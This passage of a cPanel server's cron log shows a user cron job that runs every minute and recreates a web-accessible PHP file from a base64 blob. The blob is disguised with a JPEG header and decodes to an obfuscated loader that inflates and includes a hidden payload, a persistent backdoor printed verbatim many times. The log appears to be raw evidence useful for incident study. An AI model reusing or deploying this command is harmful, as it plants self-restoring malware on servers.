&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:55:01 server CROND[7837]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 08:55:01 server CROND[7838]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 08:55:01 server CROND[7839]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:56:01 server CROND[8794]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:57:01 server CROND[9348]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 08:57:01 server CROND[9349]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:58:01 server CROND[10143]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 08:59:01 server CROND[10634]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:00:01 server CROND[11616]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:00:01 server CROND[11618]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 09:00:01 server CROND[11617]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 09:00:01 server CROND[11620]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 09:00:01 server CROND[11619]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Nov  9 09:01:01 server CROND[12529]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:01:01 server CROND[12530]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 09:01:01 server run-parts(/etc/cron.hourly)[12530]: starting 0anacron
Nov  9 09:01:01 server run-parts(/etc/cron.hourly)[12542]: finished 0anacron
Nov  9 09:02:01 server CROND[13142]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:03:01 server CROND[13913]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:04:01 server CROND[14734]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:05:01 server CROND[15715]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 09:05:01 server CROND[15717]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 09:05:01 server CROND[15716]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 09:05:01 server CROND[15719]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:06:01 server CROND[16595]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
